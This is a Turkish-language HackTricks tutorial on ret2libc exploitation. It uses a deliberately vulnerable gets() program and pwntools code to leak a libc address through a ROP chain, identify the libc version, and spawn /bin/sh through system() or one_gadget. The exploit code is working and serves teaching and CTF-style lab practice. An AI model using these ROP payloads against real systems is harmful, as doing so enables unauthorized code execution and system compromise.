Leaking libc address with ROP

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan ileri seviyeye AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Hızlı Özet

  1. Taşma offset'ini bulun

  2. POP_RDI gadget'ını, PUTS_PLT ve MAIN gadget'larını bulun

  3. Önceki gadget'ları kullanarak puts veya başka bir libc fonksiyonunun bellek adresini sızdırın ve libc sürümünü bulun (indirin)

  4. Kütüphane ile ROP'yi hesaplayın ve sömürün

Diğer eğitimler ve uygulama ikilileri

Bu eğitim, bu eğitimde önerilen kod/ikiliyi sömürecek: https://tasteofsecurity.com/security/ret2libc-unknown-libc/ Başka yararlı eğitimler: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Kod

Dosya adı: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - LIBC Adres Sızdırma Şablonu

Saldırıyı indirin ve zafiyetli ikili dosya ile aynı dizine yerleştirin ve betiğe gerekli verileri verin:

pageLeaking libc - template

1- Ofset Bulma

Şablon, saldırıya devam etmeden önce bir ofsete ihtiyaç duyar. Herhangi bir ofset sağlanırsa, gerekli kodu bulmak için çalıştırılacaktır (varsayılan olarak OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Çalıştır python template.py komutunu, programın çöktüğü bir GDB konsolu açılacaktır. Bu GDB konsolu içinde x/wx $rsp komutunu çalıştırarak RIP'yi üzerine yazacağınız baytları alın. Son olarak, bir python konsolu kullanarak ofset değerini alın:

from pwn import *
cyclic_find(0x6161616b)

Ofset'i bulduktan sonra (bu durumda 40) o değeri kullanarak şablon içindeki OFFSET değişkenini değiştirin. OFFSET = "A" * 40

Başka bir yol ise şu şekilde olabilir: pattern create 1000 -- ret'e kadar çalıştır -- pattern search $rsp GEF'ten.

2- Gadget'ları Bulma

Şimdi, binary içinde ROP gadget'ları bulmamız gerekiyor. Bu ROP gadget'ları, kullanılan libc'yi bulmak için puts'u çağırmak ve daha sonra son saldırıyı başlatmak için kullanışlı olacaktır.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

PUTS_PLT, puts fonksiyonunu çağırmak için gereklidir. MAIN_PLT, bir etkileşimden sonra tekrar ana fonksiyonu çağırmak için gereklidir, aşırı akışı tekrar sömürmek için (sonsuz sayıda sömürü turu). Her ROP'un sonunda programı tekrar çağırmak için kullanılır. POP_RDI, çağrılan fonksiyona bir parametre geçirmek için gereklidir.

Bu adımda, her şeyin yürütme sırasında pwntools tarafından bulunacağından bir şey yürütmenize gerek yoktur.

3- Libc kütüphanesini bulma

Şimdi, kullanılan libc kütüphanesinin hangi sürümü olduğunu bulma zamanı geldi. Bunu yapmak için hafızadaki puts fonksiyonunun adresini sızdıracağız ve ardından bu adreste hangi kütüphane sürümünün puts sürümünün olduğunu aramaya başlayacağız.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Bunu yapmak için, yürütülen kodun en önemli satırı:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Bu, RIP'yi üzerine yazma olasılığı olan bazı baytlar gönderecek: OFFSET. Daha sonra, POP_RDI adlı gadget'ın adresini ayarlayacak, böylece bir sonraki adres (FUNC_GOT) RDI kaydedilecek. Bu, puts'u çağırmak istediğimiz için PUTS_GOT'un adresini RDI kaydediyoruz, çünkü bellekte puts fonksiyonunun adresi, PUTS_GOT tarafından işaret edilen adreste kaydedilir. Bundan sonra, PUTS_PLT (içinde PUTS_GOT olan RDI ile) çağrılacak, bu nedenle puts, PUTS_GOT içindeki içeriği (bellekte puts fonksiyonunun adresi) okuyacak ve yazdıracak. Son olarak, ana işlev tekrar çağrılır böylece taşmayı tekrar kullanabiliriz.

Bu şekilde, puts fonksiyonunu kandırdık ve bellekteki puts fonksiyonunun adresini (ki bu libc kütüphanesinin içindedir) yazdırmak için kullanıldı. Artık o adresi aldığımıza göre hangi libc sürümünün kullanıldığını arayabiliriz.

Bir yerel ikili dosyayı sömürdüğümüzden dolayı libc'nin hangi sürümünün kullanıldığını bulmamıza gerek yoktur (yalnızca /lib/x86_64-linux-gnu/libc.so.6 içinde kütüphaneyi bulun). Ancak, uzaktan bir saldırı durumunda, nasıl bulabileceğinizi burada açıklayacağım:

3.1- Libc sürümünü arama (1)

Kullanılan kütüphaneyi arayabilirsiniz: https://libc.blukat.me/ Ayrıca, libc'nin keşfedilen sürümünü indirmenize izin verecektir

3.2- Libc sürümünü arama (2)

Ayrıca şunu yapabilirsiniz:

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

Bu biraz zaman alabilir, sabırlı olun. Bu çalışması için:

  • Libc sembol adı: puts

  • Sızdırılan libc adresi: 0x7ff629878690

Muhtemelen kullanılan libc'yi anlayabiliriz.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

İki eşleşme elde ediyoruz (ilk çalışmazsa ikinciyi denemelisiniz). İlkini indirin:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

3.3- Sızıntı yapmak için diğer fonksiyonlar

libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so dosyasından libc'yi çalışma dizinimize kopyalayın.

puts
printf
__libc_start_main
read
gets

4- Libc adresini bulma ve sömürme

Bu noktada kullanılan libc kütüphanesini bilmemiz gerekmektedir. Bir yerel ikili dosyayı sömürdüğümüz için sadece şunu kullanacağım: /lib/x86_64-linux-gnu/libc.so.6

Bu yüzden, template.py dosyasının başında libc değişkenini şu şekilde değiştirin: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Kütüphane yolunu bildiğinizde ayarlayın

Libc kütüphanesinin yolunu verdiğinizde, sömürge kalanı otomatik olarak hesaplanacaktır.

get_addr fonksiyonu içinde libc'in taban adresi hesaplanacaktır:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

Not: Son libc taban adresinin 00 ile bitmesi gerektiğini unutmayın. Aksi takdirde yanlış bir kütüphane sızdırmış olabilirsiniz.

Ardından, system fonksiyonunun adresi ve "/bin/sh" dizesinin adresi, libc'in taban adresinden hesaplanacak ve verilen libc kütüphanesinde olacak.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Son olarak, /bin/sh yürütme açığı hazırlanıp gönderilecek:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Let's explain this final ROP. Son ROP (rop1) tekrar main fonksiyonunu çağırarak bitti, bu yüzden tekrar sömürülebiliriz taşma (bu yüzden OFFSET burada tekrar). Daha sonra, POP_RDI'yi "/bin/sh" adresine işaret edecek şekilde çağırmak istiyoruz (BINSH) ve system fonksiyonunu (SYSTEM) çağırmak çünkü "/bin/sh" adresi bir parametre olarak geçirilecek. Son olarak, çıkış fonksiyonunun adresi çağrılır böylece işlem güzelce sonlanır ve herhangi bir uyarı oluşturulmaz.

Bu şekilde sömürü, bir _/bin/sh_** kabuğunu çalıştıracaktır.**

4(2)- ONE_GADGET Kullanımı

Ayrıca, system ve "/bin/sh" kullanmak yerine bir kabuk elde etmek için ONE_GADGET kullanabilirsiniz. ONE_GADGET, libc kütüphanesinde bir kabuk elde etmek için sadece bir ROP adresi kullanacak bir yol bulacaktır. Ancak, genellikle bazı kısıtlamalar vardır, en yaygın olanları ve kolayca kaçınılabilecek olanlar [rsp+0x30] == NULL gibi. RSP içindeki değerleri kontrol ettiğinizden, kısıtlamayı önlemek için birkaç daha fazla NULL değeri göndermeniz yeterlidir.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

SIZDIRMA DOSYASI

Bu zafiyeti sömürmek için bir şablonu burada bulabilirsiniz:

pageLeaking libc - template

Sık Karşılaşılan Sorunlar

MAIN_PLT = elf.symbols['main'] bulunamadı

Eğer "main" sembolü mevcut değilse. O zaman main kodunun nerede olduğunu bulabilirsiniz:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

ve adresi manuel olarak ayarlayın:

MAIN_PLT = 0x401080

Puts bulunamadı

Eğer ikili dosya Puts kullanmıyorsa, şunu kontrol etmelisiniz:

sh: 1: %s%s%s%s%s%s%s%s: not found

Bu hata mesajını tüm saldırıyı oluşturduktan sonra bulursanız: sh: 1: %s%s%s%s%s%s%s%s: not found

"/bin/sh" adresinden 64 bayt çıkarın:

BINSH = next(libc.search("/bin/sh")) - 64

<özet>

Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!</özet>

HackTricks'ı desteklemenin diğer yolları:

Last updated